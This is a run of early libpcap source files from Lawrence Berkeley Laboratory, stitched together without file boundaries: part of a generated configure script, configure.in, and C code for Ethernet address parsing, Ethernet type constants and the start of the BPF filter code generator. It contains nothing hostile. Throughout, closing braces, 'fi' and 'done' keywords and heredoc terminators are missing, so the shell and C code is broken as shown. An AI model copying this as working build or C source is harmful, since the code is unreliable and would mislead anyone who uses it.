#      include <sys/types.h>
#      include <sys/socket.h>
int main() {
u_int i = sizeof(((struct sockaddr *)0)->sa_len)
; return 0; }
if { (eval echo configure:1686: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then
  rm -rf conftest*
  ac_cv_lbl_sockaddr_has_sa_len=yes
else
  echo "configure: failed program was:" >&5
  cat conftest.$ac_ext >&5
  rm -rf conftest*
  ac_cv_lbl_sockaddr_has_sa_len=no
rm -f conftest*
    echo "$ac_t""$ac_cv_lbl_sockaddr_has_sa_len" 1>&6
    if test $ac_cv_lbl_sockaddr_has_sa_len = yes ; then
          cat >> confdefs.h <<\EOF
#define HAVE_SOCKADDR_SA_LEN 1
    fi
echo $ac_n "checking if unaligned accesses fail""... $ac_c" 1>&6
echo "configure:1707: checking if unaligned accesses fail" >&5
    if eval "test \"`echo '$''{'ac_cv_lbl_unaligned_fail'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
  case "$target_cpu" in
      alpha|hp*|mips|sparc)
            ac_cv_lbl_unaligned_fail=yes
            ;;
            cat >conftest.c <<EOF
#           include <sys/types.h>
#           include <sys/wait.h>
#           include <stdio.h>
            unsigned char a[5] = { 1, 2, 3, 4, 5 };
            main() {
            unsigned int i;
            pid_t pid;
            int status;
            /* avoid "core dumped" message */
            pid = fork();
            if (pid <  0)
                  exit(2);
            if (pid > 0) {
                  /* parent */
                  pid = waitpid(pid, &status, 0);
                  if (pid < 0)
                        exit(3);
                  exit(!WIFEXITED(status));
            /* child */
            i = *(unsigned int *)&a[1];
            printf("%d\n", i);
            exit(0);
            ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
                conftest.c $LIBS >/dev/null 2>&1
            if test ! -x conftest ; then
                                    ac_cv_lbl_unaligned_fail=yes
            else
                  ./conftest >conftest.out
                  if test ! -s conftest.out ; then
                        ac_cv_lbl_unaligned_fail=yes
                  else
                        ac_cv_lbl_unaligned_fail=no
                  fi
            fi
            rm -f conftest* core core.conftest
            ;;
      esac
    echo "$ac_t""$ac_cv_lbl_unaligned_fail" 1>&6
    if test $ac_cv_lbl_unaligned_fail = yes ; then
          cat >> confdefs.h <<\EOF
#define LBL_ALIGN 1
    fi
if test "${srcdir}" = "." ; then
      srcdirprefix=""
else
      srcdirprefix="./"
if test -r ${srcdirprefix}lbl/gnuc.h ; then
      rm -f gnuc.h
      ln -s ${srcdirprefix}lbl/gnuc.h gnuc.h
rm -f bpf_filter.c
ln -s ${srcdirprefix}bpf/net/bpf_filter.c bpf_filter.c
rm -f net
ln -s ${srcdirprefix}bpf/net net
# Find a good install program.  We prefer a C program (faster),
# so one script is as good as another.  But avoid the broken or
# incompatible versions:
# SysV /etc/install, /usr/sbin/install
# SunOS /usr/etc/install
# IRIX /sbin/install
# AIX /bin/install
# AFS /usr/afsws/bin/install, which mishandles nonexistent args
# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
# ./install, which can be erroneously created by make from ./install.sh.
echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6
echo "configure:1803: checking for a BSD compatible install" >&5
if test -z "$INSTALL"; then
if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then
  echo $ac_n "(cached) $ac_c" 1>&6
else
    IFS="${IFS=       }"; ac_save_IFS="$IFS"; IFS="${IFS}:"
  for ac_dir in $PATH; do
    # Account for people who put trailing slashes in PATH elements.
    case "$ac_dir/" in
    /|./|.//|/etc/*|/usr/sbin/*|/usr/etc/*|/sbin/*|/usr/afsws/bin/*|/usr/ucb/*) ;;
    *)
      # OSF1 and SCO ODT 3.0 have their own names for install.
      for ac_prog in ginstall installbsd scoinst install; do
        if test -f $ac_dir/$ac_prog; then
        if test $ac_prog = install &&
            grep dspmsg $ac_dir/$ac_prog >/dev/null 2>&1; then
          # AIX install.  It has an incompatible calling convention.
          # OSF/1 installbsd also uses dspmsg, but is usable.
          :
        else
          ac_cv_path_install="$ac_dir/$ac_prog -c"
          break 2
        fi
      done
      ;;
    esac
  done
  IFS="$ac_save_IFS"
  if test "${ac_cv_path_install+set}" = set; then
    INSTALL="$ac_cv_path_install"
  else
    # As a last resort, use the slow shell script.  We don't cache a
    # path for INSTALL within a source directory, because that will
    # break other packages using the cache if that directory is
    # removed, or if the path is relative.
    INSTALL="$ac_install_sh"
  fi
echo "$ac_t""$INSTALL" 1>&6
# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
# It thinks the first close brace ends the variable substitution.
test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
trap '' 1 2 15
cat > confcache <<\EOF
# This file is a shell script that caches the results of configure
# tests run on this system so they can be shared between configure
# scripts and configure runs.  It is not useful on other systems.
# If it contains results you don't want to keep, you may remove or edit it.
# By default, configure uses ./config.cache as the cache file,
# creating it if it does not exist already.  You can give configure
# the --cache-file=FILE option to use a different cache file; that is
# what configure does when it calls configure scripts in
# subdirectories, so they share the cache.
# Giving --cache-file=/dev/null disables caching, for debugging configure.
# config.status only pays attention to the cache file if you give it the
# --recheck option to rerun configure.
# The following way of writing the cache mishandles newlines in values,
# but we know of no workaround that is simple, portable, and efficient.
# So, don't put newlines in cache variables' values.
# Ultrix sh set writes to stderr and can't be redirected directly,
# and sets the high bit in the cache file unless we assign to the vars.
(set) 2>&1 |
  case `(ac_space=' '; set) 2>&1` in
  *ac_space=\ *)
    # `set' does not quote correctly, so add quotes (double-quote substitution
    # turns \\\\ into \\, and sed turns \\ into \).
    sed -n \
      -e "s/'/'\\\\''/g" \
      -e "s/^\\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\\)=\\(.*\\)/\\1=\${\\1='\\2'}/p"
    ;;
  *)
    # `set' quotes correctly as required by POSIX, so do not add quotes.
    sed -n -e 's/^\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\)=\(.*\)/\1=${\1=\2}/p'
    ;;
  esac >> confcache
if cmp -s $cache_file confcache; then
else
  if test -w $cache_file; then
    echo "updating cache $cache_file"
    cat confcache > $cache_file
  else
    echo "not updating unwritable cache $cache_file"
  fi
rm -f confcache
trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15
test "x$prefix" = xNONE && prefix=$ac_default_prefix
# Let make expand exec_prefix.
test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
# Any assignment to VPATH causes Sun make to only execute
# the first set of double-colon rules, so remove it if not needed.
# If there is a colon in the path, we need to keep it.
if test "x$srcdir" = x.; then
  ac_vpsub='/^[       ]*VPATH[       ]*=[^:]*$/d'
trap 'rm -f $CONFIG_STATUS conftest*; exit 1' 1 2 15
# Transform confdefs.h into DEFS.
# Protect against shell expansion while executing Makefile rules.
# Protect against Makefile macro expansion.
cat > conftest.defs <<\EOF
s%#define \([A-Za-z_][A-Za-z0-9_]*\) *\(.*\)%-D\1=\2%g
s%[       `~#$^&*(){}\\|;'"<>?]%\\&%g
s%\[%\\&%g
s%\]%\\&%g
s%\$%$$%g
DEFS=`sed -f conftest.defs confdefs.h | tr '\012' ' '`
rm -f conftest.defs
# Without the "./", some shells look in PATH for config.status.
: ${CONFIG_STATUS=./config.status}
echo creating $CONFIG_STATUS
rm -f $CONFIG_STATUS
cat > $CONFIG_STATUS <<EOF
#! /bin/sh
# Generated automatically by configure.
# Run this file to recreate the current configuration.
# This directory was configured as follows,
# on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
# $0 $ac_configure_args
# Compiler output produced by configure, useful for debugging
# configure, is in ./config.log if it exists.
ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]"
for ac_option
  case "\$ac_option" in
  -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
    echo "running \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion"
    exec \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion ;;
  -version | --version | --versio | --versi | --vers | --ver | --ve | --v)
    echo "$CONFIG_STATUS generated by autoconf version 2.12"
    exit 0 ;;
  -help | --help | --hel | --he | --h)
    echo "\$ac_cs_usage"; exit 0 ;;
  *) echo "\$ac_cs_usage"; exit 1 ;;
  esac
done
ac_given_srcdir=$srcdir
ac_given_INSTALL="$INSTALL"
trap 'rm -fr `echo "Makefile" | sed "s/:[^ ]*//g"` conftest*; exit 1' 1 2 15
cat >> $CONFIG_STATUS <<EOF
# Protect against being on the right side of a sed subst in config.status.
sed 's/%@/@@/; s/@%/@@/; s/%g\$/@g/; /@g\$/s/[\\\\&%]/\\\\&/g;
 s/@@/%@/; s/@@/@%/; s/@g\$/%g/' > conftest.subs <<\\CEOF
$ac_vpsub
$extrasub
s%@CFLAGS@%$CFLAGS%g
s%@CPPFLAGS@%$CPPFLAGS%g
s%@CXXFLAGS@%$CXXFLAGS%g
s%@DEFS@%$DEFS%g
s%@LDFLAGS@%$LDFLAGS%g
s%@LIBS@%$LIBS%g
s%@exec_prefix@%$exec_prefix%g
s%@prefix@%$prefix%g
s%@program_transform_name@%$program_transform_name%g
s%@bindir@%$bindir%g
s%@sbindir@%$sbindir%g
s%@libexecdir@%$libexecdir%g
s%@datadir@%$datadir%g
s%@sysconfdir@%$sysconfdir%g
s%@sharedstatedir@%$sharedstatedir%g
s%@localstatedir@%$localstatedir%g
s%@libdir@%$libdir%g
s%@includedir@%$includedir%g
s%@oldincludedir@%$oldincludedir%g
s%@infodir@%$infodir%g
s%@mandir@%$mandir%g
s%@host@%$host%g
s%@host_alias@%$host_alias%g
s%@host_cpu@%$host_cpu%g
s%@host_vendor@%$host_vendor%g
s%@host_os@%$host_os%g
s%@target@%$target%g
s%@target_alias@%$target_alias%g
s%@target_cpu@%$target_cpu%g
s%@target_vendor@%$target_vendor%g
s%@target_os@%$target_os%g
s%@build@%$build%g
s%@build_alias@%$build_alias%g
s%@build_cpu@%$build_cpu%g
s%@build_vendor@%$build_vendor%g
s%@build_os@%$build_os%g
s%@SHLICC2@%$SHLICC2%g
s%@CC@%$CC%g
s%@CPP@%$CPP%g
s%@V_LEX@%$V_LEX%g
s%@V_YACC@%$V_YACC%g
s%@V_RANLIB@%$V_RANLIB%g
s%@V_CCOPT@%$V_CCOPT%g
s%@V_INCLS@%$V_INCLS%g
s%@V_PCAP@%$V_PCAP%g
s%@INSTALL_PROGRAM@%$INSTALL_PROGRAM%g
s%@INSTALL_DATA@%$INSTALL_DATA%g
CEOF
cat >> $CONFIG_STATUS <<\EOF
# Split the substitutions into bite-sized pieces for seds with
# small command number limits, like on Digital OSF/1 and HP-UX.
ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script.
ac_file=1 # Number of current file.
ac_beg=1 # First line for current file.
ac_end=$ac_max_sed_cmds # Line after last line for current file.
ac_more_lines=:
ac_sed_cmds=""
while $ac_more_lines; do
  if test $ac_beg -gt 1; then
    sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file
  else
    sed "${ac_end}q" conftest.subs > conftest.s$ac_file
  fi
  if test ! -s conftest.s$ac_file; then
    ac_more_lines=false
    rm -f conftest.s$ac_file
  else
    if test -z "$ac_sed_cmds"; then
      ac_sed_cmds="sed -f conftest.s$ac_file"
    else
      ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file"
    fi
    ac_file=`expr $ac_file + 1`
    ac_beg=$ac_end
    ac_end=`expr $ac_end + $ac_max_sed_cmds`
  fi
done
if test -z "$ac_sed_cmds"; then
  ac_sed_cmds=cat
cat >> $CONFIG_STATUS <<EOF
CONFIG_FILES=\${CONFIG_FILES-"Makefile"}
cat >> $CONFIG_STATUS <<\EOF
for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then
  # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
  case "$ac_file" in
  *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'`
       ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
  *) ac_file_in="${ac_file}.in" ;;
  esac
  # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories.
  # Remove last slash and all that follows it.  Not all systems have dirname.
  ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'`
  if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then
    # The file is in a subdirectory.
    test ! -d "$ac_dir" && mkdir "$ac_dir"
    ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`"
    # A "../" for each directory in $ac_dir_suffix.
    ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'`
  else
    ac_dir_suffix= ac_dots=
  fi
  case "$ac_given_srcdir" in
  .)  srcdir=.
      if test -z "$ac_dots"; then top_srcdir=.
      else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;;
  /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;;
  *) # Relative path.
    srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix"
    top_srcdir="$ac_dots$ac_given_srcdir" ;;
  esac
  case "$ac_given_INSTALL" in
  [/$]*) INSTALL="$ac_given_INSTALL" ;;
  *) INSTALL="$ac_dots$ac_given_INSTALL" ;;
  esac
  echo creating "$ac_file"
  rm -f "$ac_file"
  configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure."
  case "$ac_file" in
  *Makefile*) ac_comsub="1i\\
# $configure_input" ;;
  *) ac_comsub= ;;
  esac
  ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"`
  sed -e "$ac_comsub
s%@configure_input@%$configure_input%g
s%@srcdir@%$srcdir%g
s%@top_srcdir@%$top_srcdir%g
s%@INSTALL@%$INSTALL%g
" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file
fi; done
rm -f conftest.s*
cat >> $CONFIG_STATUS <<EOF
cat >> $CONFIG_STATUS <<\EOF
exit 0
chmod +x $CONFIG_STATUS
rm -fr confdefs* $ac_clean_files
test "$no_create" = yes || ${CONFIG_SHELL-/bin/sh} $CONFIG_STATUS || exit 1
if test -f .devel ; then
      make depend
exit 0
dnl @(#) $Header: configure.in,v 1.67 97/07/27 22:16:17 leres Exp $ (LBL)
dnl Copyright (c) 1994, 1995, 1996, 1997
dnl   The Regents of the University of California.  All rights reserved.
dnl Process this file with autoconf to produce a configure script.
AC_INIT(pcap.c)
AC_CANONICAL_SYSTEM
umask 002
if test -z "$PWD" ; then
      PWD=`pwd`
AC_LBL_C_INIT(V_CCOPT, V_INCLS)
AC_CHECK_HEADERS(malloc.h sys/ioccom.h sys/sockio.h)
AC_LBL_FIXINCLUDES
AC_CHECK_FUNCS(ether_hostton strerror)
dnl Not all versions of test support -c (character special) but it's a
dnl better way of testing since the device might be protected. So we
dnl check in our normal order using -r and then check the for the /dev
dnl guys again using -c.
AC_ARG_WITH(pcap, [  --with-pcap=TYPE        use packet capture TYPE])
AC_MSG_CHECKING(packet capture type)
if test ! -z "$with_pcap" ; then
      V_PCAP="$withval"
elif test -r /dev/bpf0 ; then
      V_PCAP=bpf
elif test -r /usr/include/net/pfilt.h ; then
      V_PCAP=pf
elif test -r /dev/enet ; then
      V_PCAP=enet
elif test -r /dev/nit ; then
      V_PCAP=snit
elif test -r /usr/include/sys/net/nit.h ; then
      V_PCAP=nit
elif test -r /usr/include/net/raw.h ; then
      V_PCAP=snoop
elif test -r /usr/include/sys/dlpi.h ; then
      V_PCAP=dlpi
elif test -r /usr/include/linux/socket.h ; then
      V_PCAP=linux
elif test -c /dev/bpf0 ; then        # check again in case not readable
      V_PCAP=bpf
elif test -c /dev/enet ; then        # check again in case not readable
      V_PCAP=enet
elif test -c /dev/nit ; then        # check again in case not readable
      V_PCAP=snit
else
      V_PCAP=null
AC_MSG_RESULT($V_PCAP)
case "$V_PCAP" in
dlpi)
      AC_CHECK_HEADERS(sys/bufmod.h sys/dlpi_ext.h)
      AC_MSG_CHECKING(for /dev/dlpi device)
      if test -c /dev/dlpi ; then
            AC_MSG_RESULT(yes)
            AC_DEFINE(HAVE_DEV_DLPI)
      else
            AC_MSG_RESULT(no)
            dir="/dev/dlpi"
            AC_MSG_CHECKING(for $dir directory)
            if test -d $dir ; then
                  AC_MSG_RESULT(yes)
                  AC_DEFINE_UNQUOTED(PCAP_DEV_PREFIX, "$dir")
            else
                  AC_MSG_RESULT(no)
            fi
linux)
      AC_CHECK_HEADERS(net/if_arp.h)
      AC_MSG_CHECKING(Linux kernel version)
      AC_CACHE_VAL(ac_cv_linux_vers,
          ac_cv_linux_vers=`uname -r 2>&1 | \
            sed -n -e '$s/.* //' -e '$s/\..*//p'`)
      AC_MSG_RESULT($ac_cv_linux_vers)
      if test $ac_cv_linux_vers -lt 2 ; then
            AC_MSG_ERROR(version 2 or higher required; see the INSTALL doc for more info)
null)
      AC_MSG_WARN(cannot determine packet capture interface)
      AC_MSG_WARN((see the INSTALL doc for more info))
esac
AC_LBL_LEX_AND_YACC(V_LEX, V_YACC, pcap_)
case "$target_os" in
aix*)
      dnl Workaround to enable certain features
      AC_DEFINE(_SUN)
hpux9*)
      AC_DEFINE(HAVE_HPUX9)
hpux10.0*)
hpux10.1*)
hpux*)
      dnl HPUX 10.20 and above is similar to HPUX 9...
      AC_DEFINE(HAVE_HPUX10_20)
sinix*)
      AC_MSG_CHECKING(if SINIX compiler defines sinix)
      AC_CACHE_VAL(ac_cv_cc_sinix_defined,
            AC_TRY_COMPILE(
                [],
                [int i = sinix;],
                ac_cv_cc_sinix_defined=yes,
                ac_cv_cc_sinix_defined=no))
          AC_MSG_RESULT($ac_cv_cc_sinix_defined)
          if test $ac_cv_cc_sinix_defined = no ; then
                AC_DEFINE(sinix)
          fi
solaris*)
      AC_DEFINE(HAVE_SOLARIS)
linux*)
      V_INCLS="$V_INCLS -Ilinux-include"
esac
AC_CHECK_PROGS(V_RANLIB, ranlib, @true)
AC_LBL_DEVEL(V_CCOPT)
AC_LBL_SOCKADDR_SA_LEN
AC_LBL_UNALIGNED_ACCESS
if test "${srcdir}" = "." ; then
      srcdirprefix=""
else
      srcdirprefix="./"
if test -r ${srcdirprefix}lbl/gnuc.h ; then
      rm -f gnuc.h
      ln -s ${srcdirprefix}lbl/gnuc.h gnuc.h
rm -f bpf_filter.c
ln -s ${srcdirprefix}bpf/net/bpf_filter.c bpf_filter.c
rm -f net
ln -s ${srcdirprefix}bpf/net net
AC_SUBST(V_CCOPT)
AC_SUBST(V_INCLS)
AC_SUBST(V_LEX)
AC_SUBST(V_PCAP)
AC_SUBST(V_RANLIB)
AC_SUBST(V_YACC)
AC_PROG_INSTALL
AC_OUTPUT(Makefile)
if test -f .devel ; then
      make depend
exit 0
 * Copyright (c) 1990, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: etherent.c,v 1.20 96/09/26 23:28:00 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <ctype.h>
#include <memory.h>
#include <stdio.h>
#include <string.h>
#include "pcap-int.h"
#include <pcap-namedb.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static inline int xdtoi(int);
static inline int skip_space(FILE *);
static inline int skip_line(FILE *);
/* Hex digit to integer. */
static inline int
xdtoi(c)
      register int c;
      if (isdigit(c))
            return c - '0';
      else if (islower(c))
            return c - 'a' + 10;
      else
            return c - 'A' + 10;
static inline int
skip_space(f)
      FILE *f;
      int c;
      do {
            c = getc(f);
      } while (isspace(c) && c != '\n');
      return c;
static inline int
skip_line(f)
      FILE *f;
      int c;
            c = getc(f);
      while (c != '\n' && c != EOF);
      return c;
struct pcap_etherent *
pcap_next_etherent(FILE *fp)
      register int c, d, i;
      char *bp;
      static struct pcap_etherent e;
      memset((char *)&e, 0, sizeof(e));
      do {
            /* Find addr */
            c = skip_space(fp);
            if (c == '\n')
                  continue;
            /* If this is a comment, or first thing on line
               cannot be etehrnet address, skip the line. */
            if (!isxdigit(c)) {
                  c = skip_line(fp);
                  continue;
            /* must be the start of an address */
            for (i = 0; i < 6; i += 1) {
                  d = xdtoi(c);
                  c = getc(fp);
                  if (isxdigit(c)) {
                        d <<= 4;
                        d |= xdtoi(c);
                        c = getc(fp);
                  }
                  e.addr[i] = d;
                  if (c != ':')
                        break;
                  c = getc(fp);
            if (c == EOF)
                  break;
            /* Must be whitespace */
            if (!isspace(c)) {
                  c = skip_line(fp);
                  continue;
            c = skip_space(fp);
            /* hit end of line... */
            if (c == '\n')
                  continue;
            if (c == '#') {
                  c = skip_line(fp);
                  continue;
            /* pick up name */
            bp = e.name;
            /* Use 'd' to prevent buffer overflow. */
            d = sizeof(e.name) - 1;
            do {
                  *bp++ = c;
                  c = getc(fp);
            } while (!isspace(c) && c != EOF && --d > 0);
            *bp = '\0';
            /* Eat trailing junk */
            if (c != '\n')
                  (void)skip_line(fp);
            return &e;
      } while (c != EOF);
      return (NULL);
 * Copyright (c) 1993, 1994, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * @(#) $Header: ethertype.h,v 1.6 96/07/14 18:21:49 leres Exp $ (LBL)
/* Types missing from some systems */
#ifndef ETHERTYPE_NS
#define ETHERTYPE_NS            0x0600
#endif
#ifndef      ETHERTYPE_SPRITE
#define      ETHERTYPE_SPRITE      0x0500
#endif
#ifndef ETHERTYPE_TRAIL
#define ETHERTYPE_TRAIL         0x1000
#endif
#ifndef      ETHERTYPE_MOPDL
#define      ETHERTYPE_MOPDL         0x6001
#endif
#ifndef      ETHERTYPE_MOPRC
#define      ETHERTYPE_MOPRC         0x6002
#endif
#ifndef      ETHERTYPE_DN
#define      ETHERTYPE_DN            0x6003
#endif
#ifndef      ETHERTYPE_LAT
#define      ETHERTYPE_LAT           0x6004
#endif
#ifndef ETHERTYPE_SCA
#define ETHERTYPE_SCA           0x6007
#endif
#ifndef ETHERTYPE_REVARP
#define ETHERTYPE_REVARP  0x8035
#endif
#ifndef      ETHERTYPE_LANBRIDGE
#define      ETHERTYPE_LANBRIDGE     0x8038
#endif
#ifndef      ETHERTYPE_DECDNS
#define      ETHERTYPE_DECDNS      0x803c
#endif
#ifndef      ETHERTYPE_DECDTS
#define      ETHERTYPE_DECDTS      0x803e
#endif
#ifndef      ETHERTYPE_VEXP
#define      ETHERTYPE_VEXP          0x805b
#endif
#ifndef      ETHERTYPE_VPROD
#define      ETHERTYPE_VPROD         0x805c
#endif
#ifndef ETHERTYPE_ATALK
#define ETHERTYPE_ATALK         0x809b
#endif
#ifndef ETHERTYPE_AARP
#define ETHERTYPE_AARP          0x80f3
#endif
#ifndef      ETHERTYPE_LOOPBACK
#define      ETHERTYPE_LOOPBACK      0x9000
#endif
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: gencode.c,v 1.94 98/07/12 13:06:49 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdlib.h>
#include <memory.h>
#include <setjmp.h>
#if __STDC__
#include <stdarg.h>
#else
#include <varargs.h>
#endif
#include "pcap-int.h"
#include "ethertype.h"
#include "gencode.h"
#include "ppp.h"
#include <pcap-namedb.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#define JMP(c) ((c)|BPF_JMP|BPF_K)
/* Locals */
static jmp_buf top_ctx;
static pcap_t *bpf_pcap;
/* XXX */
#ifdef PCAP_FDDIPAD
int      pcap_fddipad = PCAP_FDDIPAD;
#else
int      pcap_fddipad;
#endif
/* VARARGS */
__dead void
#if __STDC__
bpf_error(const char *fmt, ...)
#else
bpf_error(fmt, va_alist)
      const char *fmt;
      va_dcl
#endif
      va_list ap;
#if __STDC__
      va_start(ap, fmt);
#else
      va_start(ap);
#endif
      if (bpf_pcap != NULL)
            (void)vsprintf(pcap_geterr(bpf_pcap), fmt, ap);
      va_end(ap);
      longjmp(top_ctx, 1);
      /* NOTREACHED */
static void init_linktype(int);
static int alloc_reg(void);
static void free_reg(int);
static struct block *root;
 * We divy out chunks of memory rather than call malloc each time so
 * we don't have to worry about leaking memory.  It's probably
 * not a big deal if all this memory was wasted but it this ever
 * goes into a library that would probably not be a good idea.
#define NCHUNKS 16
#define CHUNK0SIZE 1024
struct chunk {
      u_int n_left;
      void *m;
static struct chunk chunks[NCHUNKS];
static int cur_chunk;
static void *newchunk(u_int);
static void freechunks(void);
static inline struct block *new_block(int);
static inline struct slist *new_stmt(int);
static struct block *gen_retblk(int);
static inline void syntax(void);
static void backpatch(struct block *, struct block *);
static void merge(struct block *, struct block *);
static struct block *gen_cmp(u_int, u_int, bpf_int32);
static struct block *gen_mcmp(u_int, u_int, bpf_int32, bpf_u_int32);
static struct block *gen_bcmp(u_int, u_int, const u_char *);
static struct block *gen_uncond(int);
static inline struct block *gen_true(void);
static inline struct block *gen_false(void);
static struct block *gen_linktype(int);
static struct block *gen_hostop(bpf_u_int32, bpf_u_int32, int, int, u_int, u_int);
static struct block *gen_ehostop(const u_char *, int);
static struct block *gen_fhostop(const u_char *, int);
static struct block *gen_dnhostop(bpf_u_int32, int, u_int);
static struct block *gen_host(bpf_u_int32, bpf_u_int32, int, int);
static struct block *gen_gateway(const u_char *, bpf_u_int32 **, int, int);
static struct block *gen_ipfrag(void);
static struct block *gen_portatom(int, bpf_int32);
struct block *gen_portop(int, int, int);
static struct block *gen_port(int, int, int);
static int lookup_proto(const char *, int);
static struct block *gen_proto(int, int, int);
static struct slist *xfer_to_x(struct arth *);
static struct slist *xfer_to_a(struct arth *);
static struct block *gen_len(int, int);
static void *
newchunk(n)
      u_int n;
      struct chunk *cp;
      int k, size;
      /* XXX Round up to nearest long. */
      n = (n + sizeof(long) - 1) & ~(sizeof(long) - 1);
      cp = &chunks[cur_chunk];
      if (n > cp->n_left) {
            ++cp, k = ++cur_chunk;
            if (k >= NCHUNKS)
                  bpf_error("out of memory");
            size = CHUNK0SIZE << k;
            cp->m = (void *)malloc(size);
            memset((char *)cp->m, 0, size);
            cp->n_left = size;
            if (n > size)
                  bpf_error("out of memory");
      cp->n_left -= n;
      return (void *)((char *)cp->m + cp->n_left);
static void
freechunks()
      int i;
      cur_chunk = 0;
      for (i = 0; i < NCHUNKS; ++i)
            if (chunks[i].m != NULL) {
                  free(chunks[i].m);
                  chunks[i].m = NULL;
 * A strdup whose allocations are freed after code generation is over.
char *
sdup(s)
      register const char *s;
      int n = strlen(s) + 1;
      char *cp = newchunk(n);
      strcpy(cp, s);
      return (cp);
static inline struct block *
new_block(code)
      int code;
      struct block *p;
      p = (struct block *)newchunk(sizeof(*p));
      p->s.code = code;
      p->head = p;
      return p;
static inline struct slist *
new_stmt(code)
      int code;
      struct slist *p;
      p = (struct slist *)newchunk(sizeof(*p));
      p->s.code = code;
      return p;
static struct block *
gen_retblk(v)
      int v;
      struct block *b = new_block(BPF_RET|BPF_K);
      b->s.k = v;
      return b;
static inline void
syntax()
      bpf_error("syntax error in filter expression");
static bpf_u_int32 netmask;
static int snaplen;
pcap_compile(pcap_t *p, struct bpf_program *program,
